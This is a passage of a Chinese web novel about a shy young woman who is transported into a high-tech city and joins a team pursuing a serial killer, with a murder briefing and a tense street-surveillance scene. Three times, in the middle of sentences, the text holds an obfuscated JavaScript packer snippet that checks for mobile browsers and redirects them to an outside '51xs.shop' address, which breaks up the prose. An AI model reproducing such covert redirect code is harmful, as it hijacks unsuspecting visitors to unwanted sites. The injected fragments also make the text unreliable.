温暖的浅黄灯光亮起,笼罩着客厅,也让面前的人影变得清晰。 原来是一个机器人。 吓死人了! 她还以为系统给她安排了个什么闹鬼凶宅,吓得她差点原地去世。 “我是第六代环保型家居标配机器人,代号06,您可以为我起新的名字。” 燕逸岫边直起腰边兴致缺缺地摆手,敷衍道:“就叫06吧。” “好的,检测到您处于饥饿状态,请选择菜单,五分钟后即可到餐厅用餐。” 机器人屏幕上弹出种类丰富的菜品,看得人胃口大开。 “你会下厨?” “是的。” 燕逸岫迟疑着眨了眨眼,伸手点在牛肉面图片上。 机器人接收指令立刻飘去了厨房。 趁着这段时间,燕逸岫把房子里里外外仔细检查一遍,大体熟悉了房子里的智能操作。 吃了面洗漱完,燕逸岫坐在没有亮灯的阳台吹风,将前不久目睹的现场和得到的信息线索在脑海里重新整理了一遍。 接着,她打开了微系统里的资料。 第一起案件发生于去年二月,此后大约每个月出现一起。犯罪手法和凶器不固定,被害者们的背景没有相同点,死前都遭受极大痛苦,过度伤害行为明显,凶手的线索和行踪都被未知的高科技抹除。 另外,就是那个留在每处现场的血符号了。 警方目前的判断是随机杀人的虐待型连环凶手。 起初将近半年的时间里,警方几乎找不到任何反派的线索,他还有高于新世界目前科技水平的手段,随心操纵篡改证据,一次次让调查陷入困境。 于是,去年七月,1队成员在系统的操作下穿越来到这里,从头开始开展调查。 大队长姜韫和谭誉道本身是刑警,被赋予技能点觉醒能力后,在系统的协助下,终于在几个月后抓到了两个与案件有关的嫌疑人,但他们似乎被控制了精神,对于案件相关问题死不开口,还表现出极端的反社会情绪。 之后大概是嫌疑人向反派暗中通风报信,告知自己被警方审问,反派心生疑窦,通过他拥有的特殊能力,查到了有奇怪的组织正在向他靠近。 于是他假装一无所知,潜伏在暗处进行反向侦查,同时每月仍然固定作案。 两名1队成员于上个月遭杀害,反派还在尸体旁边用血画了一个笑脸,写下了一行字挑衅。 “欢迎新朋友。” 就此,我方系统和队员身份暴露,局势十分不利。 作为外勤调查人员,她们更容易被反派发现端倪,查出身份。往后不仅要查反派,还要防备被暗杀。 燕逸岫脑袋有些昏沉,她关闭微系统,决定先睡一觉,别的事情明天再考虑。 起身时,短发随着身体的前倾也滑到面前,燕逸岫愣了愣,随即抓起一撮头发伸到鼻尖使劲嗅了几下。 不知道是不是心理作用,她还是闻到了一丝残存的血腥味。 但她已经没精力再洗一遍了,燕逸岫松开手让头发垂落回去,不再理会。 走回屋里准备关上落地窗时,燕逸岫不经意扫了眼远方,忽然停下了动作。 她再次推开窗走了出去。 遥远的天边,有一颗亮着微弱光芒的星星。 机器人飘到她身后提醒:“主人,夜深了,您今日运动量过度,能量消耗大,请尽早休息恢复精神。” “嗯,”燕逸岫不知为什么有些欢欣,抬手指向天空,笑眼弯弯分享自己瞧见的景色,“你看,是星星,这里还有星星。” “太好了。” 机器人感知到她心情转好,不明白为什么,但既然是让她高兴的东西,它就转动微型摄像头,开启长焦,将那点小小的星光拍了下来,印出照片递给她。 “谢谢你。”燕逸岫笑着接过照片,多看了几遍,才带着照片回房间,掀开被子倒进被窝里。 机器人调控好室内温度,熄了灯离开房间,把门关紧。 迷迷糊糊快要睡着时,虚拟通讯页面自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564302|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动跳了出来,是有人给她发消息。 燕逸岫点开聊天框,乔琅的消息映入眼中。 “你睡了吗?” 燕逸岫老老实实回复:“还没。” 紧接着,视频电话就毫无预兆地拨了过来。 燕逸岫瞬间吓得困意全无,慌忙把电话挂掉。 什么情况?大半夜打什么视频,我俩还没熟到那个程度吧?明明连目光都没对视过。 今天的惊吓实在是太多了。 乔琅直接发了语音过来,有些气恼:“你怎么挂我视频?” “……有什么事你文字语音说都行,我不太习惯和人打电话。” “不行——我一个人害怕,睡不着,我要听着别人的声音才安心,打嘛打嘛——不会很久的,就聊一会儿。” 一向不擅长聊天的燕逸岫感觉头更痛了。 收不到回复,乔琅就开始死缠烂打,消息狂轰滥炸。 “那就只打电话吧,不开视频。”燕逸岫还是妥协了。 她以为乔琅是跋扈脾气大的冷傲性子,没想到这么会耍无赖,像个小孩子一样。 “你叫燕逸岫,你是队伍里的哪个人?你和廖怀霖两个名字我还没对上脸。”在燕逸岫还在纠结要不要开口说你好很高兴认识你之类的话时,乔琅已经开始问问题了。 “短头发的。” “你们俩都是短发。” “呃……” “驼峰鼻还是尖眼角的?” “啊?哦……尖眼角的……” “我知道了,这下都认全了,我刚才在桥对面有看到你和季渊知,你不害怕吗?离尸体那么近。” “还好,你就是看了尸体所以睡不着吗?” 提到这个乔琅就来气,手在被褥上用力一拍,咬牙切齿控诉:“才不止!测试的时候被黑影追着打,又看到了可怕的尸体,回家之后还被突然冒出来的鬼一样的机器人吓个半死,讨厌的系统!把我弄到这个乌烟瘴气的地方来虐待我!” 燕逸岫不会聊天,更不会安慰人,只好干巴巴地说了几句“别怕”、“没事了”之类的话。 乔琅沉默了几秒,收起张牙舞爪的态度,吸了吸鼻子哽咽着低声念叨:“我想回家。” “我也想,呃……我们以后,一起努力,早点抓到凶手,就能回去了。” “我们真的回得去吗?” 对面都快哭了,燕逸岫当然得说点让人高兴的话:“会的,会的,大队长她们很厉害,之前找到了两个相关嫌疑人,已经是有突破性进展了,我们跟着她们学习,肯定也能帮上忙。” 燕逸岫绞尽脑汁安抚了一会儿,总算让乔琅打起了精神,语速恢复原本的轻快。 “可以跟你开着通话睡觉吗?我今天太害怕了,一个人不敢睡,有个电话连着也好。” 燕逸岫:“……” 姐,你是不是有点太自来熟了。 最后,她还是招架不住乔琅的撒泼打滚,都有种真的有人在拽着自己胳膊摇晃个不停的错觉了。 “行吧……” 两人各自盖好被子入睡。 黑暗里的呼吸声平稳绵长。 另一边,黑暗中的气息颤抖急促。 “快打电话……快打来……” 过了许久,屏幕上跳出了所期盼的来电显示。 “喂?喂?你终于打电话来了,我已经照你说的把那个人引到指定地点了,你的手下全程监视着,也知道我从没向任何人传达过求救讯息,所以到底什么时候能放了我家人?” 设备里传出的声音不疾不徐道:“我已经放回去了。” “那、那我呢?还要把我关到什么时候?我保证过了,为了我家人的安全,我绝对不会泄密的。” “我当然知道,”对方似乎在笑,“不过,你的情况不同。” “什么?” “你忘记了吗?” “……忘记、忘记什么?” 5. 张弓 “……” 对方沉默几秒后,二话不说挂掉了电话。 “喂?喂?喂!” “别挂、别挂……” 颤抖的左手手指拼命点着屏幕上的黑色头像。 右边胳膊因为刚被剜去了一块肉,只能无力地搭在地上。 这个设备是对方专门制造出来的,无法拨出,无法发送任何讯号,只能接收对方一个人的来电。 再怎么点也是徒劳无功。 但绝望和恐惧会让人机械地做出徒劳无功的挣扎。 点击屏幕的速度越来越快,指腹渗出的细汗也印在亮着的屏幕上。 一下没拿稳,设备从手中滑落掉在地上。 “快放了我,求求你!要我做什么都行!求你了!救命、救命、谁来救救我——” 狭小黑暗的房间中,那个人影彻底崩溃,蜷缩在地上攥着设备嘶声哀嚎。 角落里,年久失修的水龙头缓慢地漏出水珠,一滴一滴落入盆里,隐入水中。 嘀嗒。 嘀嗒。 嘀嗒。 水顺着脸颊滑到下巴,聚成一滴后坠进脸盆里。 燕逸岫把洗脸水倒掉,直起腰打了个呵欠。 和不熟的人连着通话睡觉实在是太奇怪,有种被监视的感觉。她闭着眼睛半天都没睡着,想过等乔琅睡熟了就偷偷挂掉,但又担心乔琅今天会当众揪住她问为什么通话会断了。 最后还是放弃了这个打算,翻来覆去一个多小时才睡着。 大致收拾好自己后,燕逸岫准备出发。 正要解锁,她忽然听到外面有动静,似乎是某位邻居正好出门了。 燕逸岫立刻止住动作,等了好一会儿,隐约听到电梯“叮”的一声,还有电梯门打开的闷沉声响,确定那人已经下楼了,她才打开锁,像小偷偷完东西似的离开自己家。 燕逸岫边走边启动“宙”,拉出地图和乘车服务页面。 这里和原世界不一样,手机早已被淘汰,人们靠植入于每个人额头里的芯片“ME”刷脸和嵌在手腕里的芯片“宙”通讯,手机电脑相机等所有功能都已经归到“宙”里,十分便捷。 不用走哪都得拿着手机,不用担心遭遇偷窃。不过对于初来乍到的燕逸岫而言,手里空荡荡的没拿点什么,还是有些不习惯。 集合地点在天烁区,不是昨天的那栋位于天极区的大厦。 在路上,燕逸岫的心就开始紧张得砰砰直跳了。打车到达目的地后,燕逸岫在门外踱步转了好几圈,做足了心理准备才走进去,搭电梯来到62层。 昨天那些人还没熟络,今天又要认识新的陌生人。 燕逸岫每天要碎一万次。 因为需要花时间安抚自己,也担心路上出现什么意外状况,每次去陌生的场合她都会提前一小时左右出发,早早到达指定地点。 所以哪怕在外头晃了好一阵子,她仍然最早到的人。 燕逸岫茫然环顾会议厅,找了个角落的位置坐下。干坐着显得太傻,于是她把案件资料调出来继续阅读。 不一会儿,有人进来了。 燕逸岫僵着没动弹,假装沉迷于阅读资料没注意到有人来,飞速思考着怎么摆出自然的态度抬头和对方打招呼。 她感受到自己耳朵在发烫,好在头发遮得严严实实,看不出来。 “来得这么早啊,逸岫。” 对方先出声了。 燕逸岫一愣,抬起了头,看到站在面前的人。 是个五官英气的女生,乌黑的头发拢到后颈绑了个低马尾,身穿宽松休闲的黑色T恤和牛仔裤。 目光对视上后,她露出温和的笑容。 “你、你好……”燕逸岫赶紧站起来,手足无措,微垂眼帘盯着她下巴的痣。 “你好,我叫姜韫。”她抬手按在燕逸岫肩上,示意她随意坐。 “大队长。”燕逸岫惊讶地扬眉。 姜韫点了点头,开门见山说道:“测试过程我们都看了,你的成绩偏向很明显,肯定会被分到外勤,至于性格……” 燕逸岫心虚地移开视线。 恐怕又要听到耳熟的规劝了。 “我倒觉得会有意外之喜。” “?” 燕逸岫以为自己幻听了,疑惑地抬头直视姜韫。 “不用勉强自己,”姜韫没打算说太多,毕竟也只是自己的直觉,“系统大数据选择了你,自然是有它的道理。” “哦,好的……” 还是头一回有人对她说觉得社恐会带来什么好的影响。但燕逸岫认为不拖后腿就是万幸了。 第三个人这时迈步进了会议厅。 季渊知走到两人身旁:“早。” 说完就在燕逸岫左侧的空位坐下。 “昨晚亲眼看了案发现场,还好吗?2队成员都不是相关专业的,应该都没见过尸体吧?”姜韫估摸离预定集合时间还有十几分钟,便先闲聊几句。 “当然没见过,太吓人了,我根本睡不好觉。”人还没出现,乔琅的声音就先传入耳中。 下一刻乔琅风风火火闯了进来,紧随其后的是廖怀霖和温簌。 大家看到多了一个昨天没见过的人,脚步都顿了一下。 “2队都到了,大家好,我是姜韫,”她笑吟吟望着大家,又抬手遥遥一指,“刚进来的这位是秦观秋,如果想学泰拳柔道俄式大摆拳等等就找她教你,观秋什么都会。” 小麦色皮肤的高大女生边走向姜韫身侧边和大家打招呼:“你们好啊,都来得这么早,以后多来找我练练拳,出任务能保护好自己。” “人都到齐了,快坐下吧。还有一位1队成员谭誉道目前在出外勤,迟些才过来。” 姜韫转过身,抬头看了眼空中,系统的虚拟屏就浮现在了大家面前。 公安部门已经将相关数据资料传给系统了。 死者江平延,男,34岁,籍贯A省,未婚,公司总经理,工作11年,社交圈广,脾气较差,与同事、朋友都有或多或少的龃龉。 根据同事和家人的证词,江平延最近没有不寻常的举止,没有接收过奇怪的电话或信息,银行账户里也没有不正常的资金流动,没有被目击到和什么人私下会面。 6月18日,江平延如往常上班工作,五点下班,本该在十分钟内到家,但却在中途失去踪迹,芯片信号中断。 三个小时后,江平延家人依然联系不上他,询问他的同事也被告知他五点就正常离开公司,朋友们也没有见过他,于是江平延家人报了警。 晚上八点二十五分,在江平延家人报警十七分钟后,他的尸体被路人发现。 陈尸地点位于天极区圆安大桥桥底河岸,尸体垂直于河流正面摆放,头部没入水中。 被害人胸口中两刀,呈十字形,标准90度互相垂直,伤口宽度3.5cm,深度16 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564303|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .4cm,嘴部被割划二十二刀,牙齿被拔光,舌头被割下。 被害人身上没有防御抵抗痕迹,没有束缚痕迹,体内无异常药物残留,死因是大出血。 周围草地有两大摊血迹,直径都在一米左右。 从河岸收集到不同牌子的烟蒂三根,金属碎片十份,食品残渣十四份,提取出的指纹和DNA在数据库中找到了部分匹配人员,但均不属于被害人,现场周围没有发现疑似凶器的物品。 桥上的监控在18:00—20:24分之间因不明原因故障黑屏,没有记录到凶手和被害人的行踪。 现场拍摄的照片、尸检报告和现场重建图也都展现在大家面前。 “警局已经派了五十个机器人到现场附近及圆安河下游打捞寻找凶器,”姜韫补充道,“今天之内就会有结果。” “被割掉的舌头呢?”季渊知看向姜韫,眼镜镜片映着窗外的亮光,“不见了吗?” “我想大概率是被当作战利品和凶器一起带走了吧。” 姜韫还没张嘴,一个男人的声音率先冒了出来。 所有人循声望去。 谭誉道拍着身上的灰尘走进了会议室。 看起来似乎是假扮上班族,穿着朴素的衣服,一份文件卷着握在手里,食指上还挂了一袋冷掉的早餐。 “是个男的啊。”乔琅小声嘀咕。 坐在她旁边的秦观秋搭话:“你们2队全是女孩子,1队两女三男,不过另外两个男队员在之前中埋伏被反派暗杀了。” 乔琅哦了一句,收回目光重新落在姜韫身上。 “现在还不确定,也可能和凶器一起扔进河里了,”姜韫放大尸检报告图片让大家看清,“我让法医找过了,目前确定的是舌头不在被害人身上,也不在胃里。” “还有监控等资料稍后会一起传到你们各自的微系统里,和以前的每一起案子一样,线索少,被害者没有明显异常行为,死前行踪不明,没有案发时的目击者,监控损毁……” 说完后,姜韫舒展眉目,眼中浮出笑意,注视着会议厅里每一张脸孔:“不过,今后有大家发挥各自长处,我相信一定会有突破性进展的。” “接下来,渊知和我一起负责将各项数据信息和以往案件进行交叉对比。” “案发时间监控损毁,只能往前后找线索,乔琅,你和誉道负责筛查圆安桥附近这一周包括昨天的监控记录,对比这一周拍到江平延活动轨迹的监控,找找可疑之处。” “怀霖,你来调查江平延的网络使用记录,黑进他的芯片里登上各类社交账号查聊天记录等线索。” 接着姜韫对上燕逸岫的视线。 燕逸岫忐忑地绷直了背。 “昨天的案件还没找出相关嫌疑人,所以逸岫和温簌这几天先执行另一项任务,我和誉道一直在跟踪监视之前两个案子挖出来的可疑人员,现在换你们两个去,轮着跟才不容易被发现。” 姜韫摆手示意系统发送资料给她们两人。 燕逸岫赶紧打开微系统界面接收到的档案熟悉内容。 “逸岫跟的是游荡街头的混混,温簌跟的是兼职做地推的大学生。” “好。”温簌点了点头。 燕逸岫也应了一声,手指滑动页面浏览资料,滑到嫌疑人肖像时,动作突然停住了。 咦? 燕逸岫扬起了眉。 这张脸……她好像看见过? 6. 和精神小伙一起暴走的新手跟踪日 仔细回想一遍,确定自己没认错,她才向姜韫报告:“我昨晚看见过他。” “什么?在哪里?” “从圆安河岸的现场离开后,我坐车回住处,刚出发不久,在某个路口等红绿灯的时候,我注意到他从巷子里走出来,因为、因为……” 燕逸岫急忙把即将脱口而出的话咽了回去,差点咬到舌头。 因为那个人微卷的长发披到肩前,而她最喜欢的类型就是长发男,所以眼尖留意到,忍不住多看了几眼。 讲得太顺口差点就把不该说的也给抖搂出来了。 “因为他手插口袋走得摇来晃去,驼背有点严重,在人群里挺显眼的……”燕逸岫急忙把其它部分补上去说。 第一次在众人面前说这么多,还差点说错话,燕逸岫尴尬得不敢看任何人,低头一个劲凝视着自己面前的虚拟屏,脸越来越红。 听到谭誉道感叹“这么内向啊”,她更是恨不得直接一头扎地板里去。 姜韫抿嘴笑,及时把她从窘境里解救出来:“昨晚你们测试结束后我就去盯人了,没想到他伪造在家的迹象,大晚上跑到天极区去了,果然可疑,那么这个人就交给你了。” 姜韫单独发了一个登陆入口链接给燕逸岫:“我先前在他家安装了连接系统的微型摄像头,不会被反派系统反向追踪到,你登录后就能监视他的行动,监听他对外联络的内容。” “好,明白了。” 于是燕逸岫现在蹲在凉亭里的自动贩卖机前买水。 她已经跟着这个叫欧徽的人三个多小时了。 六月的大热天,他满大街游荡,这里去游戏厅投篮,那里去车行看车,只看不买,点评一番后扬长而去,一会儿招猫惹狗,一会儿和碰到的狐朋狗友聚在巷子里随机挑选倒霉路人抢钱。 燕逸岫跟得人快麻了。 为了避免被注意到不对劲,燕逸岫在跟踪进入另一个区后,就找机会换上另一套衣服,继续痛苦的“徒步旅行”。 要不怎么说精神小伙个个长得像成精的筷子,每天这样不吃不喝暴走好几小时,甚至从这个区溜达到那个区,不瘦才怪。 这会儿早就过了吃午饭的点,燕逸岫又饿又热又渴又累,害怕吃了别的东西身上沾了味会影响跟踪,只好先买瓶水喝喝。 边躲在角落灌着水,燕逸岫注意到欧徽在打劫到钱后却和兄弟们分开了,拒绝了结伴去搓一顿的邀请。 燕逸岫想起欧徽家在天锦区,大队长锁定他开始跟踪的这几个月,他基本只在天锦区活动,但昨晚和今天却都跑到天极区。 说不定是打算到这儿来见什么人。 燕逸岫仔细地擦干净指纹,把空瓶子扔进垃圾桶里,继续盯紧了他。 又暴走半小时后,欧徽拐进了一条堆满垃圾和杂物的昏暗巷子。 街上人不少,燕逸岫假装不认路,开着“宙”中的导航在巷口附近转悠,偷摸观察着里面的环境,暗中思考接下来怎么办。 巷子比较窄,跟上去容易被发现,而且地上不少垃圾,踩到之后发出声响也会导致他回头查看情况。 燕逸岫把手伸进裤口袋里,拿出蚊型监视器,将它悄悄放飞跟上目标。 悬浮在脑海里的微系统屏幕上跳出了实时监控画面。 估算好合适距离后,燕逸岫才走了进去,避开地上的垃圾,慢慢跟上。 窸窸窣窣的响动在耳边回荡,燕逸岫调动五感,放轻呼吸,更专注地观察隐入黑暗中的人。 欧徽走路习惯性拖着脚,鞋底不断在地面摩擦着,现在还边走边踢着一个垃圾袋,所以能比较准确地靠声音确定他的位置。 拐了几次弯,他终于在一个死胡同停了下来,抱着双臂靠在墙上。 左右两边的居民楼都已经被拆了,只剩伤痕累累的一截截外墙还伫立着。越过墙头就能看见旁边散落着几堆砖块的平地。 燕逸岫憋着气躲在一个大垃圾桶旁边,召回蚊型监视器,改用微系统监视,通过自己的眼睛和耳朵进行录像录音。 几分钟后,她听到一阵隐约的脚步声在朝这个方向而来。 本以为自己早就做好了心理准备,但第二个人的出现还是让燕逸岫惊慌了一瞬。 这可能是和反派有重要关系的人,说不定就是反派。今天幸运地碰上了,可千万不能出什么差错。 燕逸岫竭力平复情绪,悄悄找地方躲好。 等得焦躁的欧徽看到熟悉的人影,急切小跑上去,不忘压低声音:“你总算来了,我昨天一直联系不上你,到底……” “有屁快放。” 是个男人的浑厚声音,燕逸岫目光微动,可惜她现在躲着没办法看见那人长什么样。 姜韫跟踪数月,确定了欧徽不是反派组织里的重要成员,他没有反侦察能力,察觉不到监视器的存在,身边也没有配备高级的防监视探测仪。 所以燕逸岫才会用蚊型监视器跟着他。 但第二个人不同,完全未知的身份和能力,燕逸岫不敢冒险,万一被发现,说不定命都没了。 微系统应该是安全的,只要想办法看到一眼…… “我最近手头紧,家里人也不给生活费了,您那边还有没有……” “等一下。” 男人抬手打断了欧徽的话,转过头,锐利的目光刺向转角处苍蝇盘旋的垃圾桶和旁边的废弃纸箱。 “怎、怎么了?” 对方没有回答,而是迈开大步无声无息走到垃圾桶前,猛地掀开盖子。 里面堆满各种垃圾,桶中积聚着的臭气迫不及待地涌了出来,向四处扩散。 好奇凑过来的欧徽马上就捂住鼻子后退,忍不住别开头干呕。 另一人无动于衷,又抄起不远处的棍子扎进垃圾里翻搅几下,同时抬腿踹开纸箱。 空荡荡的纸箱被踹得更破烂,翻滚几圈横在路中间。 欧徽恍然大悟:“有人跟踪您吗?” “我怎么可能被跟踪?”他扔开棍子,嫌恶地拍拍手,“说的是你,蠢货!忙得要死还要听你放屁,叫你待在没人的死胡同等,非要选这种地方,就不怕里面藏人偷听吗?蠢货!” 欧徽似乎是被训斥惯了,也不气恼,挠挠头嘟囔:“谁会藏垃圾堆里啊这么恶心……” 被对方瞪了一眼后,他连忙改口说正事:“最近您那儿还有没有那种任务啊?我太缺钱了,什么都干,什么都干,您之前不是对我完成的情况很满意吗?” “找我就说这废话?” “欸、欸,等等,不止,我还发现了一件重要的事,您之前想找的那个女的,我昨天看见她了。” 脚步停住了。 “哦?拍下来了吗?” “拍下来了拍下来了,您的话我记得可牢了,重要的东西当面交,今天主要就是来给您这个的。” 燕逸岫听到那人发出压抑着兴奋的哼笑。 “没错,是她,干得漂亮啊欧仔,在哪拍到的?” “在天极区,我昨天骗过了我爸妈偷跑出来,想到陌生的地方抢点钱花,正好听到好多人都在说圆安河边有尸体,我也跑去凑热闹,结果远远看到那女的也往这儿来了,我就赶紧偷拍下来。” “当时很多人在拍尸体,我记得您警告的,没有靠近现场。” “嗯,后来呢,她去哪了?” “地址我记下来了,就写在背面。” 燕逸岫皱紧了眉头,心急如焚,但是她藏身之处根本看不到,也不敢乱动,毕竟对方非常警觉,稍有不慎就可能会暴露。 本想先将刚才的内容发给大队长,但神秘人过于警觉的性格让燕逸岫有些忌惮,担心对方有什么超级高科技能探到附近的通讯波动。 再怎么急也没办法,她只能保持冷静和静止不动,尽量收集更多情报。 很快她听到了“滴滴”声,是“宙”的收款提示音。 接着就传来欧徽激动的傻笑声。 “这是奖金,下次还需要你做事的时候,我会联系你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564304|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “没问题没问题!谢谢哥!” “好了,走吧。” “好嘞!” 两人一起走远了。 燕逸岫默数了十五秒,准备起身继续跟踪欧徽,但她忽然有所察觉,暂时保持不动。 不对劲。 她集中精神仔细听,确认了不是错觉。 那两人同频迈步,逐渐远去的脚步声显得像是只有一个人,但后来那道声音突然变得略微小了。 虽然欧徽拖着脚走路的声音能完全盖过其他人的,但燕逸岫还是敏锐地感知出其中微妙的差异。 只有一个人在往外走。 那么,另一个人可能停了下来,埋伏在暗处等着什么。 燕逸岫顿时惊出一身冷汗。 是单纯的疑心重警惕性高,还是说,他发现了有人在偷听? 要是她早一秒起身,说不定就会被对方抓住了,到那时怎么死的都不知道。 燕逸岫暗自庆幸,重新镇定下来,将自己的听觉嗅觉放大到极限感受对方的存在。 如果想比耐心的话,燕逸岫从不觉得自己会输。 长时间不动不语不躁不分心,还有以最大限度降低自己存在感的能力,在她这个社恐人的十几年生活里,早已练得炉火纯青。 不管怎么样,要是死在出任务的第一天,也太不甘心了。 燕逸岫的胜负欲在这诡异的场合被激发出来了。 在昏暗与沉默的对峙中,她一直控制着将呼吸放到最轻最慢,还思考出四五种或许可行的逃跑方法,生怕对方毫无预兆地出现在她的藏身之处前。 具体过了多久,她自己也记不清了,大概十分钟左右,她终于听到对方离去的动静还有喃喃自语。 “嘁,看来又是多虑了。” 大概是确认了没有人在,对方不再刻意放轻步子,以正常的速度和声音走出了巷子。 燕逸岫真切听清了对方远离,没有再返回,才闭上眼无声叹气。 心有余悸的燕逸岫又一动不动待了五分钟,才极为小心地挪开一袋杂物露出双眼。 没有人,周围空荡荡的。 她移走所有堆在身边的杂物垃圾,钻了出来。 由于太过社恐,去任何陌生的场合燕逸岫都会习惯性地先观察四周环境寻找可供躲避的地方,以前在原来的世界只是为了避开人,现在还是为了保命。 在跟着欧徽进入弯弯绕绕的小巷时,她放出蚊型监视器不仅是要定位,也是摸清环境。 欧徽与神秘人碰头的地点两侧都是楼房已经拆毁的平地,不过仅剩的几面墙中,有的地方多凸起一条方柱,形成角落。 燕逸岫扫一眼就想好这里可以藏身。 她找到一个堆了几袋杂物和垃圾的角落,蜷缩到里面贴着墙角,上面再叠一袋子遮住头。 只要身体偏瘦薄,很难看出里面还藏着一个人,只不过保持住让袋子之类的东西不摩擦出声音稍微有些困难。 解脱了的燕逸岫选择别的岔路,转了几次弯从另一个出口离开小巷。 外面天光大亮,行人与车辆来来往往,轻快的说笑声回荡在街上。 燕逸岫抬手扶在路边店铺的墙上,如释重负,这才感觉到腿在打颤。 阳光打在脸上,让她觉得有几分眩晕。 好险,活下来了…… 不过欧徽早就不知去向了。 燕逸岫走进店里,作出挑选东西的样子,通过微系统向姜韫汇报了具体情况,将录下来的视频和音频一并发送过去。 到了街上,到处都有人开着“宙”,通讯信号杂乱,不容易被某些人查到。 姜韫马上询问她目前是否安全,语气严肃,还说已经派车去接她了,让她发送定位原地等候。 于是燕逸岫顺便买了面包和水,像挨饿好几个月的流浪汉一样蹲在店门口狼吞虎咽,还因为咽得太急差点噎死。 在燕逸岫猛猛拍着胸口顺气的时候,一个人走到她身旁停下。 7. 让她们活得更久 “你没事吧?” 一股面包店的气息宛如轻纱覆盖下来,混合着奶油、饼干、小麦发酵的温暖香气萦绕鼻尖。 并不是那个神秘人的声音。燕逸岫安心下来,抬头看了眼来人,无言摇头。 对方是个年纪不大的男生,看样子也就二十岁出头,深色的T恤上沾着一小片一小片的白色粉末。 “是面包变干硬了吗?”他神色中满是歉意,弯腰把手里提着的一袋面包递到她面前,“很不好意思,要不要回店里坐会儿,我给你调一杯咖啡或橙汁?还有这个,我刚烤好一盘,新鲜出炉的,给你一袋作为补偿吧。” 原来这个人是面包店的师傅。 “啊不用不用不用,”燕逸岫连连摇头,把还热乎的面包推了回去,迅速站起来后退一步,“我只是不小心噎住了,面包很好吃。” 其实她饿得要命没怎么嚼就吞下去,根本没尝出什么味来。 这时微系统提示她车已经到了。 “我先走了,谢谢谢谢!”燕逸岫不等对方反应,丢下一句话就匆忙跑向接她的车。 上车后,她把剩下的面包和水大口解决掉,整理思绪准备好和大队长见面。 “所以说他们要找的女性昨天也出现在案发现场附近?”姜韫沉吟,手指指节在下巴来回摩挲。 “那个时间段大队长你在欧徽家附近盯梢,不在天极区,被拍到的不是你的话,有可能是观秋姐吗?” 想到反派一直在寻找异世界成员,还已经杀了两个人,燕逸岫就为另外三人捏了把汗。 秦观秋排除了这个可能性,告诉她们自己昨天一直待在家里整理两个嫌疑人的通讯记录和上网痕迹,没有出过门。 姜韫面色更加凝重。 那位被偷拍的女性,可能也是反派的目标之一,或许是及时察觉到危险,她隐姓埋名东躲西藏,但不巧昨晚被欧徽目击到行踪了,甚至暴露了具体地址。 时间已经不多了,可能明天、可能下一秒,就会有另一具尸体出现。 燕逸岫将大家录下的现场视频投到墙上。 “除了警方人员,桥上桥下聚集了大概五十几人,除去特征明显的男性,还有三十人左右。” “系统。”姜韫简单地喊了一句。 投在墙上的影像中,每个人的脸部都突然浮现出一个供识别的红框,闪烁着血色光芒。 三秒后,系统将筛选后的所有女性人员基本信息资料发给了季渊知和廖怀霖。 坐在一旁的季渊知扶了扶眼镜,立刻着手开始分析数据,十指在屏幕键盘快速敲击着。 “这几个月行踪不定,有过跨区活动和长时间无跨区活动,名下没有明显消费痕迹……” 谭誉道给出可能的关键词让她排查。 另一边的乔琅用力挥手:“队长!我在监控里找到欧徽了!” 查看了燕逸岫传来的视频录音后,姜韫就让乔琅着手调监控寻找欧徽。 果然,其中两个监控记录到燕逸岫眼熟的驼背长发男的身影,他正慢悠悠地往前走,过了一会儿,他在另一监控画面中出现,脚步比刚才快了一些,正是往圆安河方向走去。 “他在哪条街?” “左汀,所以,那个女生应该也在这里对吧?同侧或街对面,”乔琅手指按在屏幕,断断续续快进着,目光迅速又细致地扫来扫去,“啊,这里,他拉出虚拟屏了!” 监控中,欧徽突然停下脚步,左右张望后靠近拐角,用墙体掩护自己,启动了“宙”,又很快收了回去。 他拍了一张照片。 可惜监控对准的是侧面,记录不到他屏幕上的图像。 乔琅急忙将左汀街的监控都拉到前面,确认对应的位置和人影。 应该有某个监控的角度能拍到正脸,再不济侧脸或背影也行,靠衣服发型之类的特征也能对照她们自己录下的现场环境视频找出人来。 马上就能找到了,她们说不定来得及救人。 然而眼前的景象骤然变成一片漆黑。 “什、什么……”乔琅愣住了,回神后又不死心地拉动其它录像查看。 圆安河附近的监控,包括左汀街上的,20点29分之后的监控,一个个都变成了一片漆黑,直到零点准时恢复。 大屏幕上倒影着她们震惊的神色。 姜韫仿佛已经习惯了,闭上眼叹气:“是他。” “他又操纵能力删除监控记录了。” 季渊知摘下眼镜揉几下眼睛:“看来反派已经锁定目标了,所以删除了留有她行踪的录像。” 